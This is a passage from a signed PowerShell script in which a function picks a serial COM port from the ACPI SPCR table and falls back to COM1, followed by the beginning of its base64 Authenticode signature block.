PortName is not valid"" return $DefaultTargetPortName } else { # Found a matching COM port in the ENUM registry hive. Write-Log ""Matching UART device found"" $TargetPortName = $Port.PortName return $TargetPortName } } } else { Write-Log ""ACPI SPCR table not found. Bailing Out"" return $DefaultTargetPortName } } else { Write-Log 'SPCR reader Exe is not present. Exiting' return $DefaultTargetPortName } } catch { Write-ErrorLog ""Unexpected Error. Return the default Port COM1"" return $DefaultTargetPortName } return $DefaultTargetPortName } # SIG # Begin signature block # MIIfJgYJKoZIhvcNAQcCoIIfFzCCHxMCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDAG9uW3/eFRmFa # EO3rB6vSSKBF9Q93vE07HWSnhrQi/6CCDlUwggawMIIEmKADAgECAhAIrUCyYNKc # TJ9ezam9k67ZMA0GCSqGSIb3DQEBDAUAMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQK # EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNV # BAMTGERpZ2lDZXJ0IFRydXN0ZWQgUm9vdCBHNDAeFw0yMTA0MjkwMDAwMDBaFw0z # NjA0MjgyMzU5NTlaMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw # ggIKAoICAQDVtC9C0CiteLdd1TlZG7GIQvUzjOs9gZdwxbvEhSYwn6SOaNhc9es0 # JAfhS0/TeEP0F9ce2vnS1WcaUk8OoVf8iJnBkcyBAz5NcCRks43iCH00fUyAVxJr # Q5qZ8sU7H/Lvy0daE6ZMswEgJfMQ04uy+wjwiuCdCcBlp/qYgEk1hz1RGeiQIXhF # LqGfLOEYwhrMxe6TSXBCMo/7xuoc82VokaJNTIIRSFJo3hC9FFdd6BgTZcV/sk+F # LEikVoQ11vkunKoAFdE3/hoGlMJ8yOobMubKwvSnowMOdKWvObarYBLj6Na59zHh # 3K3kGKDYwSNHR7OhD26jq22YBoMbt2pnLdK9RBqSEIGPsDsJ18ebMlrC/2pgVItJ # wZPt4bRc4G/rJvmM1bL5OBDm6s6R9b7T+2+TYTRcvJNFKIM2KmYoX7BzzosmJQay # g9Rc9hUZTO1i4F4z8ujo7AqnsAMrkbI2eb73rQgedaZlzLvjSFDzd5Ea/ttQokbI # YViY9XwCFjyDKK05huzUtw1T0PhH5nUwjewwk3YUpltLXXRhTT8SkXbev1jLchAp # QfDVxW0mdmgRQRNYmtwmKwH0iU1Z23jPgUo+QEdfyYFQc4UQIyFZYIpkVMHMIRro # OBl8ZhzNeDhFMJlP/2NPTLuqDQhTQXxYPUez+rbsjDIJAsxsPAxWEQIDAQABo4IB # WTCCAVUwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUaDfg67Y7+F8Rhvv+ # YXsIiGX0TkIwHwYDVR0jBBgwFoAU7NfjgtJxXWRM3y5nP+e6mK4cD08wDgYDVR0